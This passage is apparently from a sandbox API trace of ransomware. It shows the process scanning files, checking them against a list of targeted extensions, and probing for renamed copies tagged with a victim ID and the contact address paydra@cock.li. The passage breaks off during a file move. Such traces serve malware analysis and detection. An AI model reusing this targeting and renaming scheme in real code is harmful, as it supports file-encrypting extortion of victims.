(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.090] lstrlenW (lpString=".jpg") returned 4 [0036.090] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.090] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.090] lstrlenW (lpString="ipsita.xml") returned 10 [0036.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.356] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2526) returned 1 [0036.356] CloseHandle (hObject=0x1b4) returned 1 [0036.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0036.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.357] lstrlenW (lpString=".doc") returned 4 [0036.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.357] lstrlenW (lpString=".docx") returned 5 [0036.357] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0036.357] lstrlenW (lpString=".pdf") returned 4 [0036.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.357] lstrlenW (lpString=".xls") returned 4 [0036.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.357] lstrlenW (lpString=".xlsx") returned 5 [0036.357] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0036.357] lstrlenW (lpString=".ppt") returned 4 [0036.357] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.357] lstrlenW (lpString=".zip") returned 4 [0036.357] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.357] lstrlenW (lpString=".rar") returned 4 [0036.357] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.357] lstrlenW (lpString=".bz2") returned 4 [0036.357] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.357] lstrlenW (lpString=".7z") returned 3 [0036.357] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.357] lstrlenW (lpString=".dbf") returned 4 [0036.357] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.357] lstrlenW (lpString=".1cd") returned 4 [0036.357] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.357] lstrlenW (lpString=".jpg") returned 4 [0036.357] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.358] lstrlenW (lpString=".doc") returned 4 [0036.358] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString=".docx") returned 5 [0036.358] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0036.358] lstrlenW (lpString=".pdf") returned 4 [0036.358] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString=".xls") returned 4 [0036.358] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString=".xlsx") returned 5 [0036.358] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0036.358] lstrlenW (lpString=".ppt") returned 4 [0036.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.358] lstrlenW (lpString=".zip") returned 4 [0036.358] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.358] lstrlenW (lpString=".rar") returned 4 [0036.358] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString=".bz2") returned 4 [0036.358] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString=".7z") returned 3 [0036.358] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.358] lstrlenW (lpString=".dbf") returned 4 [0036.358] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.358] lstrlenW (lpString=".1cd") returned 4 [0036.358] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0036.358] lstrlenW (lpString=".jpg") returned 4 [0036.358] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.359] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.359] lstrlenW (lpString="ipsptb.xml") returned 10 [0036.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.359] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2246) returned 1 [0036.359] CloseHandle (hObject=0x1b4) returned 1 [0036.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0036.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.359] lstrlenW (lpString=".doc") returned 4 [0036.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.359] lstrlenW (lpString=".docx") returned 5 [0036.359] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0036.359] lstrlenW (lpString=".pdf") returned 4 [0036.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString=".xls") returned 4 [0036.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString=".xlsx") returned 5 [0036.360] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0036.360] lstrlenW (lpString=".ppt") returned 4 [0036.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.360] lstrlenW (lpString=".zip") returned 4 [0036.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.360] lstrlenW (lpString=".rar") returned 4 [0036.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString=".bz2") returned 4 [0036.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString=".7z") returned 3 [0036.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.360] lstrlenW (lpString=".dbf") returned 4 [0036.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.360] lstrlenW (lpString=".1cd") returned 4 [0036.360] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.360] lstrlenW (lpString=".jpg") returned 4 [0036.360] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.360] lstrlenW (lpString=".doc") returned 4 [0036.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString=".docx") returned 5 [0036.360] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0036.360] lstrlenW (lpString=".pdf") returned 4 [0036.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.360] lstrlenW (lpString=".xls") returned 4 [0036.361] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.361] lstrlenW (lpString=".xlsx") returned 5 [0036.361] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0036.361] lstrlenW (lpString=".ppt") returned 4 [0036.361] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.361] lstrlenW (lpString=".zip") returned 4 [0036.361] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.361] lstrlenW (lpString=".rar") returned 4 [0036.361] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.361] lstrlenW (lpString=".bz2") returned 4 [0036.361] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.361] lstrlenW (lpString=".7z") returned 3 [0036.361] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.361] lstrlenW (lpString=".dbf") returned 4 [0036.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.361] lstrlenW (lpString=".1cd") returned 4 [0036.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.361] lstrlenW (lpString=".jpg") returned 4 [0036.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.361] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.361] lstrlenW (lpString="ipsptg.xml") returned 10 [0036.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.362] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2240) returned 1 [0036.362] CloseHandle (hObject=0x1b4) returned 1 [0036.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0036.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.362] lstrlenW (lpString=".doc") returned 4 [0036.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString=".docx") returned 5 [0036.362] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0036.362] lstrlenW (lpString=".pdf") returned 4 [0036.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString=".xls") returned 4 [0036.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString=".xlsx") returned 5 [0036.362] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0036.362] lstrlenW (lpString=".ppt") returned 4 [0036.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.362] lstrlenW (lpString=".zip") returned 4 [0036.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.363] lstrlenW (lpString=".rar") returned 4 [0036.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".bz2") returned 4 [0036.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".7z") returned 3 [0036.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.363] lstrlenW (lpString=".dbf") returned 4 [0036.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.363] lstrlenW (lpString=".1cd") returned 4 [0036.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.363] lstrlenW (lpString=".jpg") returned 4 [0036.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.363] lstrlenW (lpString=".doc") returned 4 [0036.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".docx") returned 5 [0036.363] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0036.363] lstrlenW (lpString=".pdf") returned 4 [0036.363] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".xls") returned 4 [0036.363] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".xlsx") returned 5 [0036.364] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0036.364] lstrlenW (lpString=".ppt") returned 4 [0036.364] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.364] lstrlenW (lpString=".zip") returned 4 [0036.364] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.364] lstrlenW (lpString=".rar") returned 4 [0036.364] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.364] lstrlenW (lpString=".bz2") returned 4 [0036.364] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.364] lstrlenW (lpString=".7z") returned 3 [0036.364] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.364] lstrlenW (lpString=".dbf") returned 4 [0036.364] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.364] lstrlenW (lpString=".1cd") returned 4 [0036.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.364] lstrlenW (lpString=".jpg") returned 4 [0036.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.364] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.364] lstrlenW (lpString="ipsrom.xml") returned 10 [0036.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.365] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2644) returned 1 [0036.365] CloseHandle (hObject=0x1b4) returned 1 [0036.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0036.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.365] lstrlenW (lpString=".doc") returned 4 [0036.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString=".docx") returned 5 [0036.365] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0036.365] lstrlenW (lpString=".pdf") returned 4 [0036.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString=".xls") returned 4 [0036.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString=".xlsx") returned 5 [0036.365] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0036.365] lstrlenW (lpString=".ppt") returned 4 [0036.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.365] lstrlenW (lpString=".zip") returned 4 [0036.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.366] lstrlenW (lpString=".rar") returned 4 [0036.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".bz2") returned 4 [0036.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".7z") returned 3 [0036.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.366] lstrlenW (lpString=".dbf") returned 4 [0036.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.366] lstrlenW (lpString=".1cd") returned 4 [0036.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.366] lstrlenW (lpString=".jpg") returned 4 [0036.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.366] lstrlenW (lpString=".doc") returned 4 [0036.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".docx") returned 5 [0036.366] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0036.366] lstrlenW (lpString=".pdf") returned 4 [0036.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".xls") returned 4 [0036.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".xlsx") returned 5 [0036.366] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0036.366] lstrlenW (lpString=".ppt") returned 4 [0036.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.366] lstrlenW (lpString=".zip") returned 4 [0036.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.366] lstrlenW (lpString=".rar") returned 4 [0036.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.367] lstrlenW (lpString=".bz2") returned 4 [0036.367] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.367] lstrlenW (lpString=".7z") returned 3 [0036.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.367] lstrlenW (lpString=".dbf") returned 4 [0036.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.367] lstrlenW (lpString=".1cd") returned 4 [0036.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.367] lstrlenW (lpString=".jpg") returned 4 [0036.367] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.367] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.367] lstrlenW (lpString="ipsrus.xml") returned 10 [0036.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.368] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2542) returned 1 [0036.368] CloseHandle (hObject=0x1b4) returned 1 [0036.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0036.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.368] lstrlenW (lpString=".doc") returned 4 [0036.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.369] lstrlenW (lpString=".docx") returned 5 [0036.369] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0036.369] lstrlenW (lpString=".pdf") returned 4 [0036.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.369] lstrlenW (lpString=".xls") returned 4 [0036.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.369] lstrlenW (lpString=".xlsx") returned 5 [0036.369] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0036.369] lstrlenW (lpString=".ppt") returned 4 [0036.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.369] lstrlenW (lpString=".zip") returned 4 [0036.369] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.369] lstrlenW (lpString=".rar") returned 4 [0036.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.369] lstrlenW (lpString=".bz2") returned 4 [0036.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.369] lstrlenW (lpString=".7z") returned 3 [0036.369] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.369] lstrlenW (lpString=".dbf") returned 4 [0036.369] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft 